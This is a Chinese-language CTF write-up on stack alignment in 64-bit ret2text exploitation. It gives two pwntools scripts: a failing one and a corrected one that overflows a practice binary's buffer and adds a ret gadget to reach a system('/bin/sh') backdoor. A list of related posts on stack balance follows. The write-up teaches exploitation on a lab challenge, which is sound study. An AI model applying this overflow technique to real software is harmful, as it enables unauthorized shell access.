ret2text涉及到的堆栈平衡问题
在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。下面以一道例题说明。
链接:https://pan.baidu.com/s/1QfEWfZDiqz56w7EwDFEvzg
提取码:1111
主函数:
被调用函数:
文件提供的后门函数:
很简单的栈溢出。
32位能正常运行的题解,在这里是错误的:
from pwn import *io=process("./level0")
raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")payload=b"A"*(0x88)+p64(system_addr)
io.send(payload)
io.interactive()
我们另开一个终端,调试分析:
跟进callsystem中的system函数,有一个指令要求rsp+0x40的值是16字节对齐。
$rsp+0x40没有16字节对齐。
解决方法
更改payload长度,再添加一个任意的ret指令(不是同一个函数的ret也行)。
正确的题解:
from pwn import *io=process("./level0")
#raw_input()
elf=ELF("./level0")
system_addr=0x400596
io.recvuntil(b"World\n")payload=b"A"*(0x88)+p64(0x4005A5)+p64(system_addr)
io.send(payload)
io.interactive()
栈图:
注:下图第一步“callsystem处压入的rbp”改为“vulnerable_function处压入的rbp”。笔误写错了。
第一步的leave和ret是vulnerable_function的最后两步。
16字节对齐了,堆栈也平衡了。
大功告成
参考:http://blog.eonew.cn/archives/958
写在最后
最近有在转安卓逆向方向,感兴趣的同学可以来公众号看看哦~ 欢迎一起讨论问题~~
ret2text涉及到的堆栈平衡问题相关推荐
- 【汇编语言与计算机系统结构笔记15】子程序设计:调用与返回,保护与恢复寄存器,子程序的参数传递,堆栈平衡,结构伪操作 STRUC
本次笔记内容: 20.子程序设计-1-1 21.子程序设计-1-2 22.子程序设计-1-3 注:我找到了对应内容的课件,请见我于GitHub的CS笔记仓库.因此,为了节省时间,我只记录老师上课强调的 ...
- ESP定律和堆栈平衡
一.什么是ESP 二. 例说ESP与OD的对比 三. 正式开讲ESP定律 四. ESP定律的运行栗子 五. 堆栈平衡讲解 六.ESP定律的变形用法
- 堆栈平衡:估计这是最详细的讲解堆栈平衡的了 vc++6.0
转自:https://blog.csdn.net/lixiangminghate/article/details/43195717 #include <stdio.h> #include ...
- 汇编达人视频学习6(汇编眼中的函数、CALL指令执行函数、堆栈传参、堆栈平衡、外平栈、内平栈)
title: 汇编达人视频学习6 date: 2021年8月4日 15点15分 tags: 汇编达人 categories: 汇编达人 21.汇编眼中的函数 1.什么是函数 函数就是一系列指令的集合, ...
- 从汇编角度理解 ebpesp 寄存器、函数调用过程、函数参数传递以及堆栈平衡
关于函数参数的传递及堆栈指针的变化,一直缺乏系统的认识和了解,各种博客也只是片面的讲解某个局部知识点,并没有全局的把握和对栈的深刻理解.本文试图从汇编以及整体上,讲解函数调用时,堆栈的变化,以及到底是 ...
- 在地址随机化的操作系统环境下的堆栈平衡
最近学习汇编以及各种和汇编有关系的课,在看汇编代码的时候发现各种对esp啊ebp的操作,最后的目的很多是为了堆栈平衡,因为如果函数调用之前和之后的堆栈不一致,就可能导致找不到数据或者找错数据.然后就想 ...
- 调用函数后的堆栈平衡
对于__stdcall调用方式,调用函数的逻辑一般如下 //Caller;prolog push xx push ... call callee add esp x ; 恢复堆栈 ;epilog 一般 ...
- 浅谈安卓逆向月报(1)- 抖音 - ida - native层F5伪代码堆栈平衡修复
这章主要聊聊如何修复可以F5伪代码 以最新的抖音840的so为例,这边仅仅说下如何修复F5,解决"positive sp value has been found"错误提示. 后续 ...
- vs调用堆栈窗口怎么弄出来_从零开始(1)栈帧、调用约定
逆向学习从零开始(1)栈帧.调用约定明白函数和寄存器.栈的关系 PE程序拖入OD有四个基础窗口:代码执行窗口.寄存器窗口.数据窗口.栈窗口,帮助我们对程序进行逆向分析,运行程序,处理器执行的是汇编代码 ...
- 献给汇编初学者-函数调用堆栈变化分析
献给汇编初学者-函数调用堆栈变化分析 标 题: 献给汇编初学者-函数调用堆栈变化分析 作 者: 堕落天才 时 间: 2007-01-19,19:20 链 接: http://bbs.pediy.com ...
最新文章
- 写着简单跑得又快的数据库语言 SPL
- CreateThread 和_beginthreadex区别
- Mysql在离线安装时启动失败:mysql服务无法启动,服务没有报告任何错误
- mysql group by与order by的研究--分类中最新的内容
- mysql安装完成后登入错误
- electerm,免费开源的SSH桌面终端,像xshell、termius一样好用
- LeetCode: Maximum Subarray
- 【BZOJ】1052: [HAOI2007]覆盖问题(贪心)
- 贝塔智能挪车V2.3.4汽车微信小程序 多开版源码
- 云计算和大数据时代网络技术揭秘
- 华为的薪酬体系整体框架,值得收藏
- mysql中sql添加表字段_SQL如何添加字段
- ||分享一些百度云下载不限速神器||
- postman通过脚本动态获取token 和cookies
- 和女性交往的一些经验总结
- HikariPool-1 - Exception during pool initialization. Could not create connection
- 关于《人月神话》的读后感
- git 回退远端master/develop分支版本
- 将ESXI上的虚拟机导出为OVF模板
- 深圳技术大学计算机专业分数线,深圳技术大学2020录取分数线(附2017-2020年分数线)...